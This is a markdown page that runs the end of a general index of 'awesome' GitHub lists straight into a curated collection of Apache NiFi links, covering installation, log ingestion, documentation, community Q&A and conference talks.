- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
|
# Everything Apache NiFi
## Timothy Spann @PaaSDev
* https://datainmotion.dev/
* http://dev.to/tspannhw
# Updates
* https://github.com/tspannhw/FLiPN-NFT
* Apache NiFi 1.20.0 is now out. Check it out. https://cwiki.apache.org/confluence/display/NIFI/Release+Notes
* https://www.youtube.com/watch?app=desktop&v=h503MibiENY&feature=youtu.be
* https://bryanbende.com/development/2021/07/19/apache-nifi-1-14-0-secure-by-default
* Latest Version - Apache NiFi 1.13.2! Don't use Apache NiFi 1.13.1
* Apache NiFi 1.13.2.2 - https://www.datainmotion.dev/2021/04/nifi-on-cloudera-data-platform-upgrade.html
* Apache NiFi 1.13.0 - https://www.datainmotion.dev/2021/02/new-features-of-apache-nifi-1130.html
* Apache NiFi 1.12 - https://twitter.com/pvillard31/status/1296469452180119553
* Apache NiFi on K8 - https://twitter.com/AppInt4All/status/1306643414725750784?s=20
* Questions on NiFi Jam - https://blog.cloudera.com/top-5-questions-about-apache-nifi/
# Must Watch Video
* Apache NiFi Part 5: Primary Node / Complex Expression Language: https://www.youtube.com/watch?v=JbUjYr6Kd3I
* Apache NiFi Part 4: Scheduling: https://www.youtube.com/watch?v=pZq0EbfDBy4
* Apache NiFi Part 3: Load Balancing: https://www.youtube.com/watch?v=by9P0Zi8Dk8
* Apache NiFi Anti-Patterns Part 2: Flow Layout by Mark: https://www.youtube.com/watch?v=v1CoQk730qs&feature=youtu.be
* Apache NiFi Anti-Patterns, Part 1: by Mark: https://www.youtube.com/watch?v=RjWstt7nRVY
# Install
* https://www.cloudera.com/downloads/cdf/cfm-trial.html
* http://nifi.apache.org/download.html
* https://nifi.apache.org/docs/nifi-docs/html/walkthroughs.html
# Don't Run NiFi Batch Jobs... But you can. Try NiFi Stateless, but you don't want to use Airflow try this
* https://benyaakobi.medium.com/nifi-scheduling-a522a1c9e740
* http://funnifi.blogspot.com/2018/08/one-and-done-flows-aka-job-processing.html
* https://getindata.com/blog/nifi-ingestion/fast-and-easy-what-could-possibly-go-wrong-one-year-history-certain-nifi-flow/
* https://boristyukin.com/how-to-run-sqoop-from-nifi/
* https://www.hadoopinrealworld.com/building-a-data-pipeline-with-apache-nifi/
# Support
* https://docs.cloudera.com/HDPDocuments/HDF3/HDF-3.5.2/release-notes/content/supported-nifi-processors.html
* https://docs.cloudera.com/management-console/cloud/connection-to-private-subnets/topics/mc-endpoint_access_gateway.html
# Cloudera Data Flow - Kubernetes Deployment
* https://docs.cloudera.com/dataflow/cloud/bp-flow-definition/topics/cdf-flow-isolation.html
# DevOps / Tools / Scripts
* https://github.com/asdaraujo/data-in-motion
* https://github.com/asdaraujo/flink-kafka-replicator
* https://github.com/asdaraujo/kafka-client-examples
# Load Balancing
* https://medium.com/@nlabadie/apache-nifi-syslog-load-balancing-c43d87480deb
* https://t.co/4ANiUPh706?amp=1
* https://community.cloudera.com/t5/Community-Articles/NiFi-Cluster-and-Load-Balancer/ta-p/248227
* https://community.cloudera.com/t5/Support-Questions/NIFI-S2S-communication-issue-between-two-secured-NIFI/td-p/193227
# Syslog
* https://medium.com/@nlabadie/apache-nifi-netflow-to-syslog-117d46867ae1
* https://medium.com/@nlabadie/apache-nifi-sftp-csv-to-syslog-json-d9da6938defa
* https://medium.com/@nlabadie/apache-nifi-pulling-from-mysql-and-sending-to-syslog-181dd4ae969c
* https://nathanlabadie.com/apache-nifi-netflow-to-syslog/
* https://blog.davidvassallo.me/2019/04/09/consuming-netflow-using-nifi/
# Grok
* http://grokconstructor.appspot.com/do/match#result
* https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-record-serialization-services-nar/1.5.0/org.apache.nifi.grok.GrokReader/additionalDetails.html
* https://stackoverflow.com/questions/59291548/how-to-use-nifi-extractgrok-properly
# Documentation
* https://nifi.apache.org/docs.html
* https://nifi.apache.org/docs/nifi-docs/html/overview.html
* https://nifi.apache.org/docs/nifi-docs/html/getting-started.html
* https://nifi.apache.org/docs/nifi-docs/html/expression-language-guide.html
* https://nifi.apache.org/docs/nifi-docs/html/record-path-guide.html
* https://nifi.apache.org/docs/nifi-docs/html/nifi-in-depth.html
* https://nifi.apache.org/docs/nifi-docs/html/developer-guide.html
* https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
* https://nifi.apache.org/docs/nifi-docs/html/user-guide.html
* https://nifi.apache.org/docs/nifi-docs/html/toolkit-guide.html
* https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
# Demos / Examples
* https://www.cloudera.com/content/dam/www/marketing/resources/demos/demo-real-time-data-streaming-using-apache-kafka.landing.html
* https://developer.ibm.com/solutions/security/articles/distributed-real-time-threat-detection-engine/
* https://michalklempa.com/2016/10/using-nifi-to-ingest-snmp-into-avro/
* https://github.com/geoHeil/streaming-reference/tree/master
* https://blog.min.io/minio-events-with-apache-nifi/
* https://gist.github.com/neallee2012/3eb625094a46f8e3f0cc9028e04a5093
* https://medium.com/digital-transformation-and-platform-engineering/streaming-data-lake-and-analytics-with-apache-nifi-c651700b56db
# Cybersecurity
* https://www.pwc.co.uk/issues/cyber-security-services/research/signal-att-and-ck-part-2.html
# Reprise Demos
* https://www.getreprise.com/blog/using-apache-nifi-to-capture-covid-19-data/
# Blogs
* http://lonnifi.blogspot.com/
* https://www.datainmotion.dev/
* https://blogs.apache.org/nifi/
* https://bryanbende.com/
* http://funnifi.blogspot.com/
* http://ijokarumawak.github.io/blog/
* https://pierrevillard.com/
* https://www.nifi.rocks/
* https://blog.cloudera.com/?s=nifi
* https://dzone.com/users/297029/bunkertor.html
* https://medium.com/@abdelkrim.hadjidj
* https://www.calculatedsystems.com/content
* https://mikethomsen.github.io/
* https://community.cloudera.com/t5/forums/searchpage/tab/message?advanced=false&allow_punctuation=false&q=nifi*
* https://mvnrepository.com/artifact/org.apache.nifi
* https://github.com/apache/nifi
* https://apachenifi.slack.com/join/shared_invite
* http://flink.apache.org/
* https://blog.cloudera.com/benchmarking-nifi-performance-and-scalability/
* https://www.youtube.com/watch?v=pZq0EbfDBy4
* https://medium.com/apache-nifi-security
* https://lonnifi.blogspot.com/
* https://community.cloudera.com/t5/Community-Articles/How-to-use-NiFi-to-write-API-data-to-CDP-CDW/ta-p/306770
* https://www.youtube.com/channel/UCBHGHVGIihzmuOM86D8IfHQ/featured
* http://lonnifi.blogspot.com/2019/11/back-pressure-prediction-deep-dive.html
* https://www.datacrafts.fr/NiFi-Democratizing-Record-Processors/
* https://www.datacrafts.fr/Error-Handling/
* https://github.com/hau-mal/articles/blob/master/nifi-ingest-weather-data-en.md
* https://medium.com/@ben2460/using-nifi-to-react-to-dns-changes-f1d3a348a595
* https://docs.cloudera.com/cdf-datahub/7.2.7/nifi-snowflake/topics/cfm-snowflake-egress.html
* https://medium.com/@kar9475/parameter-context-retry-flowfile-back-pressure-prediction-in-nifi-1-10-release-6c4aa7def082
* https://bryanbende.com/development/2021/02/17/apache-nifi-saml-keycloak
* https://community.cloudera.com/t5/Community-Articles/How-to-import-a-flow-to-NiFi-registry-in-CDP-Cloud/ta-p/308335
* http://ijokarumawak.github.io/nifi/2017/02/02/nifi-notify-batch/
* https://pierrevillard.com/2017/02/07/using-counters-in-apache-nifi/
* https://pierrevillard.com/2018/08/29/monitoring-driven-development-with-nifi-1-7/
* https://www.baeldung.com/iot-data-pipeline-mqtt-nifi
* https://www.clearpeaks.com/streaming-data-to-hive-using-nifi-and-kafka-in-a-kerberized-cdh-cluster/?utm_source=social&utm_medium=linkedin&utm_campaign=cdh-nifi-kafka-kerberos-blog-post
* https://github.com/medined/nifi-prototype
* https://boristyukin.com/building-near-real-time-big-data-lake-part-2/
* https://gpdb.docs.pivotal.io/connectors/apache-nifi/1-0/overview.html
* https://lonnifi.blogspot.com/2019/11/back-pressure-prediction-deep-dive.html
* https://community.cloudera.com/t5/Community-Articles/Using-NiFi-for-CDE-Jobs-Pipeline/ta-p/310122
* https://www.clearpeaks.com/connecting-nifi-with-activemq/
* https://medium.com/@Sushil_Kumar/data-quality-with-apache-nifi-9fa5223bbf54
# FHIR / HL7 / Health / Medical
* https://bastide.org/2020/05/15/apache-nifi-and-ibm-fhir-server-invokehttp-and-ssl/
# Containers / Docker / K8
* https://hub.docker.com/r/apache/nifi-registry
* https://hub.docker.com/r/apache/nifi/
* https://hub.docker.com/r/apache/nifi-toolkit
* https://hub.docker.com/r/apache/nifi-stateless
# Examples
* https://lilneutron.medium.com/realtime-stock-trade-analysis-with-apache-nifi-kafka-and-flink-and-python-92b1c1bb9a54
# NiFi Frameworks
* https://github.com/nagarajjayakumar/NFaaS
# Sequencing and Ordering
Expression Language:
* random
Description: Returns a random whole number ( 0 to 2^63 - 1) using an insecure random number generator.
* nextInt
Description: Returns a one-up value (starting at 0) and increasing over the lifetime of the running instance of NiFi
* ${now():toNumber()}
* SELECT RPATH(message, '/c_ip') as xxx from flowfile
get recordpath for things like nested structured in json or xml
# Other Options
* https://gist.github.com/ijokarumawak/7e6158460cfcb0b5911acefbb455edf0
* https://medium.com/google-cloud/gcp-pub-sub-ordering-and-apache-nifi-5e1ac9a14752
* http://funnifi.blogspot.com/2018/08/database-sequence-lookup-with.html
* https://community.cloudera.com/t5/Support-Questions/Generate-Sequence-number-in-Apache-NIFI/td-p/220571
* http://www.randomnumberapi.com/api/v1.0/random
# Ingest and Process Logs
* https://bryanbende.com/development/2017/10/04/apache-nifi-processing-multiline-logs
* https://www.tigeranalytics.com/blog/real-time-nifi-alerts-automated-log-capturing-spark/
* https://nathanlabadie.com/nifi-pulling-data-from-splunk/
* https://www.youtube.com/watch?v=4yBc7hHvaQU
* https://www.exabeam.com/siem/apache-nifi-ingest-syslog-data/
* https://dzone.com/articles/reading-sudo-logs-with-apache-nifi
* https://www.datainmotion.dev/2019/10/migrating-apache-flume-flows-to-apache_35.html
* https://blog.davidvassallo.me/2018/09/19/apache-nifi-from-syslog-to-elasticsearch/
* https://www.keedio.org/real-time-data-ingestion-processing-and-storage-of-syslog-using-apache-nifi-flink-kafka-and-cassandra/
* https://www.hadoopinrealworld.com/building-a-data-pipeline-with-apache-nifi/
* https://www.futurespace.es/en/apache-nifi-flujo-de-extraccion-validacion-transformacion-y-carga-de-ficheros-caso-de-uso-real/
* https://nxlog.co/documentation/nxlog-user-guide/apache-nifi.html
* http://bigapps.fr/apache-nifi-for-dataflow-and-real-time-streaming-with-apache-kafka/
*
# Community Q&A
* https://community.cloudera.com/t5/forums/searchpage/tab/message?advanced=false&allow_punctuation=false&q=nifi
* https://apachenifi.slack.com/join/shared_invite
* https://community.cloudera.com/t5/Support-Questions/Nifi-CICD-with-mutiple-flows-having-controller-services/m-p/299771#M219835
* https://community.cloudera.com/t5/Support-Questions/How-to-add-custom-attributes-to-AttributesToJSON/td-p/308326
* https://community.cloudera.com/t5/Community-Articles/Using-NiFi-for-CDE-Jobs-Pipeline/ta-p/310122
* https://community.cloudera.com/t5/Support-Questions/NiFi-Load-balancing-internal-or-external/td-p/310131
* https://community.cloudera.com/t5/Support-Questions/Automatic-deployment-of-NiFi-Flow/m-p/311319#M224586
* https://community.cloudera.com/t5/Community-Articles/Change-NiFi-Flow-Using-Rest-API-Part-1/ta-p/244631
* https://community.cloudera.com/t5/Community-Articles/Update-NiFi-Connection-Destination-via-REST-API/ta-p/244211
* https://community.cloudera.com/t5/Community-Articles/Simple-NiFi-template-for-flow-management-datahub/ta-p/311733
* https://community.cloudera.com/t5/Community-Articles/Connecting-Nifi-to-Impala-using-Simba-JDBC-driver/tac-p/312714#M6179
* https://community.cloudera.com/t5/Community-Articles/Understanding-how-NiFi-s-Content-Repository-Archiving-works/ta-p/249418
* https://stackoverflow.com/questions/66259273/nifi-kerberos-ticket-login-not-supported-by-this-nifi
* https://community.cloudera.com/t5/Support-Questions/PrometheusReportingTask-with-same-port-and-multiple-nifi/m-p/316092#M226712
* https://github.com/chadgeary/nifi
* https://nathanlabadie.com/recombining-multiline-logs-with/
* https://nathanlabadie.com/video-tutorial-nifi-netflow-and-csv-ingest/
* https://nathanlabadie.com/nifi-pulling-data-from-splunk/
* https://nathanlabadie.com/running-nifi-in-a-docker-container/
* https://nathanlabadie.com/adding-a-timestamp-to-elasticsearch-from-apache-nifi/
* https://nathanlabadie.com/video-tutorial/
* https://nathanlabadie.com/the-basics-how/
* https://nathanlabadie.com/streaming-from-elastic-to-syslog-via-apache-nifi/
* https://blog.octo.com/en/accelerating-nifi-flows-delivery-part-1/
* https://www.fullstackanalyst.io/blog/open-source/processing-adobe-analytics-data-feeds-with-apache-nifi-for-adobe-experience-platform/
# SAAS Interfaces
* https://github.com/jdye64/nifi-addons/tree/master/Processors/nifi-salesforce
# Software Artefacts
* https://mvnrepository.com/artifact/org.apache.nifi
* https://github.com/apache/nifi
* https://hub.docker.com/r/apache/nifi/
# Must Read Articles
* https://pierrevillard.com/best-of-nifi/
* http://lonnifi.blogspot.com/2020/01/rules-integration-with-apache-nifi.html
* https://www.calculatedsystems.com/post/what-is-nifi-the-core-concepts
* https://martin.atlassian.net/wiki/spaces/lestermartin/pages/740196355/NiFi+Cheat+Sheet
# Conference Talks
* https://github.com/alopresto/slides
* http://slideshare.com/bunkertor
* https://github.com/tspannhw/dws2017sydney
* https://community.cloudera.com/t5/Community-Articles/Real-Time-Ingesting-and-Transforming-Sensor-and-Social-Data/ta-p/247202
* http://iotfusion.net/session/enterprise-iiot-edge-processing-with-apache-nifi-minifi-and-deep-learning/
* https://www.slideshare.net/bunkertor/deep-learning-on-hdp-2018-prague
* https://www.slideshare.net/bunkertor/minifi-and-apache-nifi-iot-in-berlin-germany-2018
* https://dataworkssummit.com/session/apache-deep-learning-101/
* https://github.com/tspannhw/StrataNYC2018
* https://feathercast.apache.org/2018/10/02/apache-deep-learning-101-timothy-spann
* https://www.slideshare.net/bunkertor/cdf-edge-to-ai-with-cem-april-9-2019-princeton-fod-meetup
* https://www.slideshare.net/bunkertor/the-edge-to-ai-deep-dive-barcelona-meetup-march-2019
* https://www.datainmotion.dev/2019/03/barcelona-dataworks-summit-march-2019.html
* https://dzone.com/articles/dataworks-summit-and-nosql-day-review-2019-washing
* https://www.datainmotion.dev/2019/05/dataworks-summit-dc-2019-report.html
* https://github.com/tspannhw/StrataNYC2019
* https://www.slideshare.net/Hadoop_Summit/eventdriven-messaging-and-actions-using-apache-flink-and-apache-nifi
* https://www.slideshare.net/BryanBende/apache-nifi-sdlc-improvements
# Quick Tips
* https://community.cloudera.com/t5/Community-Articles/Connect-Nifi-to-Cloudera-Hive-with-Kerberos-and-TLS/ta-p/249476
* https://community.cloudera.com/t5/Community-Articles/Part-2-Nifi-flow-creation-to-parse-new-images-and-run-the/ta-p/244380
* https://docs.cloudera.com/cem/1.2.2/collecting-audit-events/topics/cem-setting-up-ConsumeWindowsEventLog.html
* https://community.cloudera.com/t5/Support-Questions/Nifi-Multiple-predicate-in-recordpath-filter/m-p/306604
* https://community.cloudera.com/t5/Support-Questions/Can-executesql-processor-store-state-for-incremental-loading/td-p/224975
* https://community.cloudera.com/t5/Community-Articles/Update-the-Contents-of-FlowFile-by-using-UpdateRecord/ta-p/248267
* https://www.nifi.rocks/record-path-cheat-sheet/
* https://www.nifi.rocks/expression-language-cheat-sheet/
* https://dev.to/tspannhw/one-minute-nifi-tip-calcite-sql-notes-561
* https://dev.to/tspannhw/new-and-improved-it-s-nifi-1k6o
* https://dev.to/tspannhw/quick-tip-nifi-json-cleanup-3o22
* https://dev.to/tspannhw/openssl-ssl-hosting-in-nifi-2k5f
* http://ijokarumawak.github.io/nifi/2017/01/27/nifi-s2s-local-to-aws/
* https://docs.cloudera.com/HDPDocuments/HDF3/HDF-3.5.1/building-a-dataflow/content/site-to-site.html
* https://www.calculatedsystems.com/post/the-nifi-expression-language
* https://martin.atlassian.net/wiki/spaces/lestermartin/pages/740196355/NiFi+Cheat+Sheet
* http://lonnifi.blogspot.com/2020/01/rules-integration-with-apache-nifi.html
* https://www.calculatedsystems.com/post/getting-started-with-apache-nifi-5-common-questions
* https://levelup.gitconnected.com/an-overview-of-apache-nifi-and-toolkit-cli-deployments-785978dbce3b
* Set to Integer SQL Type https://community.cloudera.com/t5/Support-Questions/Nifi-ExectueSQL-how-to-force-a-parameter-to-be-a-string/td-p/240117
* Make sure to use Cache Server https://community.cloudera.com/t5/Support-Questions/Could-not-connect-to-Distributed-Map-Cache-server-to-get/td-p/269340
* Static End-Point Security https://community.cloudera.com/t5/Support-Questions/Advanced-Update-Attribute-won-t-display-correctly-in-NiFi/td-p/306729
* Use -Record https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/org.apache.nifi.processors.standard.QueryDatabaseTableRecord/index.html
* Merge Attributes https://community.cloudera.com/t5/Support-Questions/Nifi-Processors-status-merge-attributes-into-single-flowfile/td-p/308470
* https://community.cloudera.com/t5/Support-Questions/NIFI-quot-No-available-buckets-quot-for-saving-flow-version/td-p/308171
* https://medium.com/analytics-vidhya/managing-your-data-flows-with-apache-nifi-ef559be2fcf4
* https://springml.com/blog/apache-nifi-integration-on-google-cloud/
* https://ryan-templeton.medium.com/snowflake-resource-monitor-reports-delivered-to-slack-using-apache-nifi-8dfd4fc4d579
* https://pierrevillard.com/2016/03/13/get-data-from-dropbox-using-apache-nifi/
# Understanding NiFi Internals / Architecture
* https://community.cloudera.com/t5/Community-Articles/Understanding-how-NiFi-s-Content-Repository-Archiving-works/ta-p/249418
* https://community.cloudera.com/t5/Community-Articles/Understanding-NiFi-max-thread-pools-and-processor-concurrent/ta-p/248920
* https://community.cloudera.com/t5/Community-Articles/Leveraging-group-based-Ranger-authorization-in-NiFi/ta-p/248000
* https://community.cloudera.com/t5/Community-Articles/NiFi-Understanding-how-to-use-Process-Groups-and-Remote/ta-p/245486
* https://community.cloudera.com/t5/Community-Articles/How-to-address-JVM-OutOfMemory-errors-in-NiFi/ta-p/244431
* https://community.cloudera.com/t5/Community-Articles/Understanding-NiFi-processor-s-quot-Run-Duration-quot/ta-p/248921
* https://community.cloudera.com/t5/Community-Articles/Dissecting-the-NiFi-quot-connection-quot-Heap-usage-and/ta-p/248166
* https://community.cloudera.com/t5/Community-Articles/How-to-expand-existing-NiFi-cluster-fault-tolerance-using/ta-p/245082
* https://community.cloudera.com/t5/Community-Articles/How-to-determine-which-FlowFiles-are-associated-to-the-same/ta-p/249185
* https://community.cloudera.com/t5/Community-Articles/How-to-achieve-better-load-balancing-using-NiFi-s-Site-To/ta-p/246279
# Cloud
* https://community.cloudera.com/t5/Community-Articles/Spark-Structured-Streaming-example-with-CDE/ta-p/302050
* https://community.cloudera.com/t5/Community-Articles/How-to-configure-NiFi-S2S-from-local-machine-to-CDP-Public/ta-p/301235
* https://community.cloudera.com/t5/Support-Questions/CDP-Public-Cloud-Data-Replication/m-p/309362
* https://community.cloudera.com/t5/Community-Articles/How-to-connect-Nifi-to-Kafka-in-Data-Hub-on-CDP/ta-p/294441
* https://community.cloudera.com/t5/Support-Questions/Can-GetHDFS-processor-catch-changes/td-p/201212
* https://community.cloudera.com/t5/Community-Articles/Simple-Change-Data-Capture-CDC-with-SQL-Selects-via-Apache/ta-p/308376
* https://community.cloudera.com/t5/Community-Articles/How-to-use-Sqoop-to-Hydrate-Cloudera-Data-Warehouse/ta-p/303037
* https://community.cloudera.com/t5/Community-Articles/Harnessing-the-Data-Lifecycle-for-Customer-Experience/ta-p/294910
* https://community.cloudera.com/t5/Community-Articles/How-to-use-NiFi-to-write-API-data-to-CDP-CDW/ta-p/306770
* https://community.cloudera.com/t5/Community-Articles/Harnessing-the-hybrid-Cloud-use-CDP-Cloud-to-evaluate-COVID/ta-p/305220
* https://community.cloudera.com/t5/Community-Articles/How-to-write-data-from-NiFi-to-Kudu-in-CDP-Public-Cloud/ta-p/300402
* https://cloudacademy.com/blog/moving-data-to-s3-with-apache-nifi/
* https://community.cloudera.com/t5/Community-Articles/Simple-NiFi-template-for-flow-management-datahub/ta-p/311733
* https://www.cloudera.com/tutorials/cdp-importing-rdbms-data-into-hive.html
* https://community.cloudera.com/t5/Community-Articles/Working-with-S3-Compatible-Data-Stores-via-Apache-NiFi/ta-p/244584
* https://research.nccgroup.com/2021/01/04/using-aws-and-azure-for-cost-effective-log-ingestion-with-data-processing-pipelines-for-siems/
# ETL / ELT / CDC / Load / Ingest
* https://datahovel.com/2019/11/14/big-data-and-stream-processing-101-part-4-how-to-do-a-simple-key-value-enrichment-in-apache-nifi/
* https://thirdeyedata.io/etl-pipeline-demonstration-using-apache-nifi/
# Dockerization / K8
* https://www.nifi.rocks/official-nifi-docker-image/
# Reporting Tasks
* https://www.nifi.rocks/developing-a-custom-apache-nifi-reporting-task/
* https://dev.to/tspannhw/sql-reporting-task-for-cloudera-flow-management-hdf-apache-nifi-260f
# Error Handling
* https://community.cloudera.com/t5/Community-Articles/How-to-address-JVM-OutOfMemory-errors-in-NiFi/ta-p/244431
# Templates and Examples
* https://github.com/xmlking/nifi-examples
# Sizing and Performance
* https://www.datainmotion.dev/2020/07/sizing-your-apache-nifi-cluster-for.html
* https://blog.cloudera.com/benchmarking-nifi-performance-and-scalability/
# Reporting and Monitoring
